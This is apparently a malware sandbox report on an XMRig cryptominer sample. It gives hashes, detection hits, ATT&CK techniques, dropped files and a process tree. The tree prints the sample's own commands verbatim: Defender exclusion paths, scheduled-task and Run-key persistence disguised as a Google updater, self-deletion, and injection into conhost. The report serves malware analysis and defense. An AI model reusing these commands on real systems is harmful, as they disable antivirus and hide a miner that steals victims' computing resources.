xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
335s
max time network
1804s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25-01-2024 16:55

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General

Target

grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exeupdater.exe

description	pid	process	target process
PID 2208 created 1288	2208	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 2208 created 1288	2208	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 2208 created 1288	2208	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 2208 created 1288	2208	qM5GMXBk6hJE6Y5e.exe	Explorer.EXE
PID 2824 created 1288	2824	updater.exe	Explorer.EXE
PID 2824 created 1288	2824	updater.exe	Explorer.EXE
PID 2824 created 1288	2824	updater.exe	Explorer.EXE
PID 2824 created 1288	2824	updater.exe	Explorer.EXE
PID 2824 created 1288	2824	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

Processes:

resource	yara_rule
behavioral21/memory/2236-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2236-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2740 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2824 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2284 taskeng.exe

pid	process
2740	cmd.exe

pid	process
2824	updater.exe

pid	process
2284	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral21/memory/2236-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2236-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2824 set thread context of 2812	2824	updater.exe	conhost.exe
PID 2824 set thread context of 2236	2824	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2660 schtasks.exe
2828 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1364 WMIC.exe

pid	process
2660	schtasks.exe
2828	schtasks.exe

pid	process
1364	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10884d30b44fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
2208	qM5GMXBk6hJE6Y5e.exe
2208	qM5GMXBk6hJE6Y5e.exe
3044	powershell.exe
2208	qM5GMXBk6hJE6Y5e.exe
2208	qM5GMXBk6hJE6Y5e.exe
2728	powershell.exe
2208	qM5GMXBk6hJE6Y5e.exe
2208	qM5GMXBk6hJE6Y5e.exe
2208	qM5GMXBk6hJE6Y5e.exe
2208	qM5GMXBk6hJE6Y5e.exe
2856	powershell.exe
2824	updater.exe
2824	updater.exe
1368	powershell.exe
2824	updater.exe
2824	updater.exe
1516	powershell.exe
2824	updater.exe
2824	updater.exe
2824	updater.exe
2824	updater.exe
2812	conhost.exe
2812	conhost.exe
2824	updater.exe
2824	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	1368	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	2824	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeSecurityPrivilege	1364	WMIC.exe
Token: SeTakeOwnershipPrivilege	1364	WMIC.exe
Token: SeLoadDriverPrivilege	1364	WMIC.exe
Token: SeSystemtimePrivilege	1364	WMIC.exe
Token: SeBackupPrivilege	1364	WMIC.exe
Token: SeRestorePrivilege	1364	WMIC.exe
Token: SeShutdownPrivilege	1364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1364	WMIC.exe
Token: SeUndockPrivilege	1364	WMIC.exe
Token: SeManageVolumePrivilege	1364	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1364	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1364	WMIC.exe
Token: SeSecurityPrivilege	1364	WMIC.exe
Token: SeTakeOwnershipPrivilege	1364	WMIC.exe
Token: SeLoadDriverPrivilege	1364	WMIC.exe
Token: SeSystemtimePrivilege	1364	WMIC.exe
Token: SeBackupPrivilege	1364	WMIC.exe
Token: SeRestorePrivilege	1364	WMIC.exe
Token: SeShutdownPrivilege	1364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1364	WMIC.exe
Token: SeUndockPrivilege	1364	WMIC.exe
Token: SeManageVolumePrivilege	1364	WMIC.exe
Token: SeLockMemoryPrivilege	2236	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2728 wrote to memory of 2660	2728	powershell.exe	schtasks.exe
PID 2728 wrote to memory of 2660	2728	powershell.exe	schtasks.exe
PID 2728 wrote to memory of 2660	2728	powershell.exe	schtasks.exe
PID 2740 wrote to memory of 2580	2740	cmd.exe	choice.exe
PID 2740 wrote to memory of 2580	2740	cmd.exe	choice.exe
PID 2740 wrote to memory of 2580	2740	cmd.exe	choice.exe
PID 2856 wrote to memory of 2636	2856	powershell.exe	schtasks.exe
PID 2856 wrote to memory of 2636	2856	powershell.exe	schtasks.exe
PID 2856 wrote to memory of 2636	2856	powershell.exe	schtasks.exe
PID 2284 wrote to memory of 2824	2284	taskeng.exe	updater.exe
PID 2284 wrote to memory of 2824	2284	taskeng.exe	updater.exe
PID 2284 wrote to memory of 2824	2284	taskeng.exe	updater.exe
PID 1516 wrote to memory of 2828	1516	powershell.exe	schtasks.exe
PID 1516 wrote to memory of 2828	1516	powershell.exe	schtasks.exe
PID 1516 wrote to memory of 2828	1516	powershell.exe	schtasks.exe
PID 2824 wrote to memory of 2812	2824	updater.exe	conhost.exe
PID 656 wrote to memory of 1364	656	cmd.exe	WMIC.exe
PID 656 wrote to memory of 1364	656	cmd.exe	WMIC.exe
PID 656 wrote to memory of 1364	656	cmd.exe	WMIC.exe
PID 2824 wrote to memory of 2236	2824	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1288

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\qM5GMXBk6hJE6Y5e.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\qM5GMXBk6hJE6Y5e.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\qM5GMXBk6hJE6Y5e.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2828

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:656

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2812

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2236

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
1⤵
- Creates scheduled task(s)
PID:2660

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2580

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2636

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824

C:\Windows\system32\taskeng.exe
taskeng.exe {5193C022-1865-4CD7-AAA2-973851F49BD2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2284

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1364

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
PID:1100

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
161KB

MD5
c37705764a389172c952c45e2f98d14d

SHA1
cdad0e96859181a4ba14842a7bc372b6f041fa52

SHA256
c7b7d1a25c38292ea3c03d633146e36fd6d560a465d7b404000d0894549171fc

SHA512
e3f790ab2d5cc694d60eeef66e8a2ac2a2fca767a238e01dff0f44dd422060beb72e18dea2da18541d19200782a694fcec863ecd2e102a217387815441214ff4

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
100KB

MD5
8262c368a647f3d65f43f0f4c55597a3

SHA1
c63ebec2c3dbdf8c99713389cff085ac90101cb7

SHA256
6e96c6a3b0a7cf21b71142c9de89cfa28792dec93bdf002a1d5c6e27885871c9

SHA512
e3e566952e9eda5f7e140ee89def6242f0e83cff3a494a944cff837e6fc6b55df19cddb2724ae0600dc0711698a5da621d9ebbc90492f0af785d9c685c8937ec

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
6156e6a3111877edee6e7fbb698a36b1

SHA1
7b725117647da3e3c17ed44e23abe7d7477807af

SHA256
eb0834a7374ec31b658c3541b1774329514694f6d62711dab2b5d2ecc2727389

SHA512
38c708dff2d6e8ba854a5cd4bd8edc3d354fecdc5f73fcbbf63e20bf0875400c2f4912c93ab6b5e591861b814c9234ef8c0b16b83b11625f7ce472f70b69b971

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
310KB

MD5
c39aa133023cb5ad0b4053b70ed8f7cf

SHA1
22a53807f12d700ee06016f810c34d161f925d8f

SHA256
9d760bce55faa9b6c57f82a793eab37e6fdf958fc4d082951acb805361182f71

SHA512
64d28318a851107900ad68d375af376b0a9309dcaf5242e45b28eab9d345bfb70746b2c4c4407d75cc0f1bd320dbdc70cc2be7841034e0ea298dbfcdc5ff656d

Download Submit
memory/1368-49-0x000000000107B000-0x00000000010E2000-memory.dmp

Filesize
412KB

Download
memory/1368-47-0x0000000001074000-0x0000000001077000-memory.dmp

Filesize
12KB

Download
memory/1368-44-0x000007FEF5290000-0x000007FEF5C2D000-memory.dmp

Filesize
9.6MB

Download
memory/1368-45-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1368-48-0x0000000001070000-0x00000000010F0000-memory.dmp

Filesize
512KB

Download
memory/1368-50-0x000007FEF5290000-0x000007FEF5C2D000-memory.dmp

Filesize
9.6MB

Download
memory/1368-46-0x000007FEF5290000-0x000007FEF5C2D000-memory.dmp

Filesize
9.6MB

Download
memory/1516-52-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/1516-53-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/1516-58-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/1516-56-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/1516-55-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/1516-54-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

Filesize
9.6MB

Download
memory/1516-57-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/2208-27-0x000000013F3C0000-0x000000013F5D1000-memory.dmp

Filesize
2.1MB

Download
memory/2208-0-0x000000013F3C0000-0x000000013F5D1000-memory.dmp

Filesize
2.1MB

Download
memory/2236-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-66-0x00000000000C0000-0x00000000000E0000-memory.dmp

Filesize
128KB

Download
memory/2236-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2236-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
